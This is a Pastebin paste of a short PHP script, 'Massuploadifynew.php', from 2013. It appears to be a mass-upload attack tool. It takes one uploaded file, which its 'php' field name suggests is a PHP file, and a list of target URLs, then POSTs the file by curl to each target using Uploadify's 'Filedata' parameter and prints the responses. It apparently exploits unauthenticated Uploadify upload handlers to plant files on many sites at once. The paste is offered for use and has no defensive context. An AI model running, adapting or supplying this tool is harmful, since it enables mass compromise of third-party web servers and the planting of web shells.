Advertisement
tobitaz

Massuploadifynew.php

Oct 6th, 2013 (edited)
130
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.58 KB | None | 0 0
  1.    <html>
  2. <title>tobi</title>
  3. <body style="background-color:black;">
  4.  
  5. <center><br />
  6. <form action="" method="post" enctype="multipart/form-data">
  7. <font color="white">
  8. <input type="file" name="php">
  9. </font>
  10.  
  11. <br /><font color="white">Parameter:</font><input name="utk" value="Filedata"><br />
  12. <textarea name="test" cols="80" rows="25" style="border:3px outset #339900; color:green; background-color:black;"></textarea><br>
  13. <button type="submit" value="UPLOAD" style="border:3px outset red; width:50%; height:50px; color:white; background-color:red;">UPLOAD</button>
  14.  
  15. </form>
  16. </center>
  17. </body>
  18. </html>
  19. <?php
  20.  
  21. $phps = $_FILES["php"];
  22. $para = $_POST["utk"];
  23. $fpl = $_FILES["php"]["tmp_name"];
  24. $filename = basename($_FILES["php"]["name"]);
  25.  
  26. //fungsi
  27.  
  28.  
  29.  
  30.  
  31.  
  32.  
  33.  
  34.  
  35.  
  36. //execu
  37.  
  38.  
  39.  
  40.    $array = preg_split('/(\r?\n)+/', $_POST['test']);
  41.    foreach($array as $line)
  42.    {
  43.  
  44.  
  45. if($phps != null)
  46. {
  47. echo "<center><div width='80%'><br /><font style='color:black; background-color:#339900;'>";
  48. echo "url:".$line." <font style='color:red; background-color:white;'>";
  49.  
  50. $ch = curl_init();
  51. $data = array($para => "@".$fpl.";filename=".$filename);
  52. curl_setopt($ch, CURLOPT_URL, $line);
  53. curl_setopt($ch, CURLOPT_POST, 1);
  54. curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
  55. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  56. $tetek = curl_exec($ch);
  57. $buang = strip_tags("\n result :" . $tetek ."\n\n\n");
  58. echo $buang;
  59. echo "<br /></font></div></center>";
  60. }
  61. else
  62. {
  63. }
  64.  
  65.  
  66.  
  67.  
  68.  
  69.  
  70.  
  71.  
  72.  
  73.  
  74.  
  75.  
  76.    }
  77.    
  78. ?>
  79. <style>
  80. .phc
  81. {
  82. text-decoration:none;
  83. color:red;
  84. }
  85. </style>
  86. </body>
  87. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement